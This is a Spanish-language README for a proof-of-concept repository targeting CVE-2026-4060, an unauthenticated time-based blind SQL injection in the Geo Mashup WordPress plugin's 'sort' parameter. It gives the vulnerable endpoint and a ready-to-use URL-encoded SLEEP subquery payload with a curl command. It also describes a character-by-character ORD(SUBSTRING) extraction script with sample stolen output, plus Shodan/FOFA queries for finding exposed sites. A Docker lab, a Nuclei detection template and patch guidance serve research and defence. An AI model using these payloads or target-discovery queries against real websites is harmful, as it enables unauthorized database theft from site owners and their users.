
Prueba de concepto para CVE-2026-4060: inyección SQL ciega basada en tiempo no autenticada en el plugin Geo Mashup de WordPress a través de la cláusula ORDER BY. Incluye script de explotación, entorno de laboratorio y plantilla de detección de Nuclei.
Atacantes no autenticados pueden inyectar SQL arbitrario en la cláusula
ORDER BYa través del parámetrosortdel endpointrender-mapde Geo Mashup, permitiendo la extracción ciega basada en tiempo de información sensible de la base de datos.
| Campo | Detalle |
|---|---|
| CVE | CVE-2026-4060 |
| Plugin | Geo Mashup por cyberhobo |
| Afectado | ≤ 1.13.18 |
| Corregido en | 1.13.19 |
| CVSS v3.1 | 7.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — Neutralización incorrecta de Elementos Especiales en SQL |
| Autenticación requerida | Ninguna (No autenticada) |
El parámetro sort aceptado por el endpoint render-map se pasa directamente a una llamada $wpdb->get_results() sin sanitización:
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
Debido a que $sort se interpola tal cual, un atacante puede inyectar una subconsulta en la cláusula ORDER BY. WordPress wpdb escapa las comillas simples, por lo que el PoC usa ORD(SUBSTRING(...)) con comparaciones numéricas para eludir esta restricción y realizar una extracción ciega basada en tiempo.
Endpoint vulnerable:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
| Componente | Versión |
|---|---|
| SO | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (vulnerable) |
| Python | 3.x (para poc.py) |
| Nuclei | v3.8.0 |
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 activo en el administrador de WordPress:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh hará:
Una vez completado:
http://localhost:8080http://localhost:8080/wp-admin (usuario: admin / contraseña: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
Un retardo de respuesta de ~8 segundos confirma la inyección SQL en ORDER BY.
# Predeterminado — solo imprime los resultados extraídos
python3 poc.py --url http://localhost:8080
# Verbose — muestra cada payload, tiempo de respuesta y carácter extraído
python3 poc.py --url http://localhost:8080 --verbose
# Confirmar solo SQLi, omitir extracción de datos
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
Inyectar una subconsulta SLEEP(8) a través del parámetro sort produce un retardo de respuesta de aproximadamente 8 segundos.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

El PoC extrae datos carácter por carácter usando comparaciones ORD(SUBSTRING(...)): enviar payload → medir tiempo de respuesta → confirmar carácter cuando SLEEP se activa.
python3 poc.py --url http://localhost:8080 --verbose

Datos extraídos:
| Consulta | Resultado |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
La plantilla de Nuclei utiliza un flujo de dos pasos para prevenir falsos positivos.
Si readme.txt devuelve 404 en el Paso 1, el escaneo sale inmediatamente sin enviar el payload SQL.
Scan completed in 62ms. 0 matches found. ✅
Verificación de versión del plugin mediante readme.txt:

Si compare_versions(version, '<= 1.13.18') falla, el Paso 2 se omite por completo.
Scan completed in 19ms. 0 matches found. ✅
| Acción | Detalle |
|---|---|
| Actualizar | Actualizar Geo Mashup a 1.13.19 o posterior |
| Temporal | Desactivar el plugin hasta que se aplique una actualización |
| WAF | Bloquear patrones de inyección de subconsultas en cláusulas ORDER BY |
Commit del parche: plugins.trac.wordpress.org/changeset/3503627
Plantilla de Nuclei: nuclei/CVE-2026-4060.yaml
Flujo de detección:
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ confirm plugin exists + version <= 1.13.18
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| Fecha | Evento |
|---|---|
| 2026-04 | Vulnerabilidad descubierta |
| 2026-04 | Reportada al autor del plugin |
| 2026-05 | Parche Geo Mashup 1.13.19 liberado |
| 2026-05-14 | CVE asignado y divulgado públicamente |
Este repositorio es solo para fines educativos y de pruebas de seguridad autorizadas.
No lo use contra sistemas que no posea o para los que no tenga permiso explícito por escrito para probar.
El autor no es responsable de ningún uso indebido de este material.